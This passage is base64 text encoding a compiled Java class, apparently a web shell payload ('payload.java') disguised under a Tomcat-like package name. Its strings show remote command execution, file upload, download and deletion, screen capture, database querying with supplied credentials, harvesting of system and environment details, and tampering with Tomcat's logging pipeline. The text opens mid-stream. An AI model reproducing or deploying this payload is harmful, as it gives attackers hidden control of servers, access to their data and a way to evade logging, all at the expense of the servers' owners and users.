YXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVuaXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzIG5vdCBoYXZlIGVub3VnaCB2YWxpZCBiaXRzAQAJYmFzZTY0U3RyAQAIcGFkZGluZ3MBAAJbSQEAB3NoaWZ0dG8BAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhAQAqb3JnL2FwYWNoZS9jb3lvdGUvaW50cm9zcGVjdC9Bbm5vdGF0aW9uTWFwAQAsTG9yZy9hcGFjaGUvY295b3RlL2ludHJvc3BlY3QvQW5ub3RhdGlvbk1hcDsAIQABAAMAAAATABkABQAGAAAAAAAHAAgAAAAAAAkACAAAAAAACgALAAAAAAAMAAsAAAAAAA0ACwAAAAAADgAPAAAAAAAQABEAAAAIABIAEwABABQAAAAAAAgAFQATAAEAFAAAAAAACAAWABMAAQAUAAAAAAAIABcAEwABABQAAAAAAAgAGAATAAEAFAAAAAAACAAZABMAAQAUAAAAAAAIABoAEwABABQAAAAAAAgAGwATAAEAFAAAAAAACAAcABMAAQAUAAAAAAAIAB0AEwABABQAAAAAAAgAHgATAAEAFAAAAAAANQAIAB8AIAABACEAAAG2AAQAAAAAAYIQQLwFWQMQQVVZBBBCVVkFEENVWQYQRFVZBxBFVVkIEEZVWRAGEEdVWRAHEEhVWRAIEElVWRAJEEpVWRAKEEtVWRALEExVWRAMEE1VWRANEE5VWRAOEE9VWRAPEFBVWRAQEFFVWRAREFJVWRASEFNVWRATEFRVWRAUEFVVWRAVEFZVWRAWEFdVWRAXEFhVWRAYEFlVWRAZEFpVWRAaEGFVWRAbEGJVWRAcEGNVWRAdEGRVWRAeEGVVWRAfEGZVWRAgEGdVWRAhEGhVWRAiEGlVWRAjEGpVWRAkEGtVWRAlEGxVWRAmEG1VWRAnEG5VWRAoEG9VWRApEHBVWRAqEHFVWRArEHJVWRAsEHNVWRAtEHRVWRAuEHVVWRAvEHZVWRAwEHdVWRAxEHhVWRAyEHlVWRAzEHpVWRA0EDBVWRA1EDFVWRA2EDJVWRA3EDNVWRA4EDRVWRA5EDVVWRA6EDZVWRA7EDdVWRA8EDhVWRA9EDlVWRA+ECtVWRA/EC9VswAisQAAAAIAJAAAABoABgAAADsAWwA8ANkAPQFXAD4BfgA7AYEAPgAlAAAAAgAAAAEAJgAgAAEAIQAAAEIAAwABAAAAECq3ACcquwApWbcAK7UALLEAAAACACQAAAAOAAMAAAAzAAQAPwAPADUAJQAAAAwAAQAAABAALgVpAAAAAQAmADAAAQAhAAAATQADAAIAAAARKiu3ADEquwApWbcAK7UALLEAAAACACQAAAAOAAMAAAA4AAUAPwAQADkAJQAAABYAAgAAABEALgVpAAAAAAARADMANAABAAEANQA2AAEAIQAAAD0ABAACAAAACSorAyu+twA3sAAAAAIAJAAAAAYAAQAAAEgAJQAAABYAAgAAAAkALgVpAAAAAAAJADsADwABAAEAPAA9AAEAIQAAAjMAAwAGAAAA+yoSPrYAQEwqEkS2AEBNLMYAwivHAEcqtgBGLAG2AExOLbYAUrIAV1nHABxXElm4AFpZswBXpwAPuwBeWl+2AGC3AGa/tgBpmQANLSoBtgBtwABxsBJytgB0sCq0AHkrtgB7wABNTi3GAGQttgB+OgQZBCq0ACy2AIJXGQS2AIZXKrQALBKJtgB7OgUZBcYAOrIAV1nHABxXElm4AFpZswBXpwAPuwBeWl+2AGC3AGa/GQW2AEa2AGmZAAkZBcAAcbASi7YAdLADvAiwEo22AHSwEo+2AHSwTLsAkVm3AJNNuwCUWSy3AJZOKy22AJkttgCdLbYAoCy2AKOwAAkALAAxADgApgCYAJ0ApACmAAAAUwDXAGEAVABZANcAYQBaAMAA1wBhAMEAxgDXAGEAxwDKANcAYQDLANAA1wBhANEA1gDXAGEAAgAkAAAAcgAcAAAATQAHAE4ADgBPABIAUAAWAFEAIABSAEoAUwBUAFUAWgBYAGYAWQBqAFoAcABbAHoAXACAAF0AiwBeAJAAXwC7AGAAwQBiAMcAZQDLAGgA0QBsANcAbgDYAG8A4ABwAOkAcQDuAHIA8gBzAPYAdAAlAAAAZgAKAAAA+wAuBWkAAAAHANAAqACpAAEADgDJAEUAqQACACAAOgCqAKsAAwBmAGsArAATAAMAcABbAK0ACwAEAIsAQACuAAsABQDYACMArwCwAAEA4AAbALEAEQACAOkAEgCyALMAAwABALQAIAABACEAAAICAAYACwAAAPAqtAAstgC1KrQALBK4KrQAebYAuVcqtAAsEr0qtAC+tgC5Vyq0ACwSwCq0AMG2ALlXKrQALBLDKrQAxLYAuVcqtADGTLsAyFkrtwDKTbsAkVm3AJNOAToEB7wIOgUBOga7AM1ZLLcAzzoHGQe2ANKRNggVCAKgAAanAGUVCAWgAFa7AHVZLbYAo7cA2DoEGQcZBbYA2VcZBbgA3jYJFQm8CDoGAzYKFQoZBxkGFQoZBr4VCmS2AOFgWTYKGQa+of/oKrQALBkEGQa2ALlXLbYA5Kf/mS0VCLYA56f/kC22AOsstgDsGQe2AO2nAAU6B7EAAQBgAOoA7QDuAAIAJAAAAIIAIAAAAHoABwB8ABUAfQAjAH4AMQB/AD8AgQBEAIMATQCFAFUAhwBYAIgAXQCJAGAAiwBqAI0AcgCOAHgAjwB7AJEAgQCSAI4AlACWAJYAnQCYAKMAmgCmAJwAwQCeAM0AoADRAKEA1ACiANoAjADdAKYA4QCnAOUAqADqAKkA7wCuACUAAABwAAsAAADwAC4FaQAAAEQArADwAA8AAQBNAKMA8QDyAAIAVQCbAPMAEQADAFgAmAD0AKkABABdAJMA9QAPAAUAYACQAPYADwAGAGoAgAD3APgABwByAGgA+QD6AAgAnQA0APsA/AAJAKYAKwD9APwACgABAIQAhQABACEAAABYAAIAAgAAABgrxgAVKiu2AP6ZAA0qKrQAwbcBAQSsA6w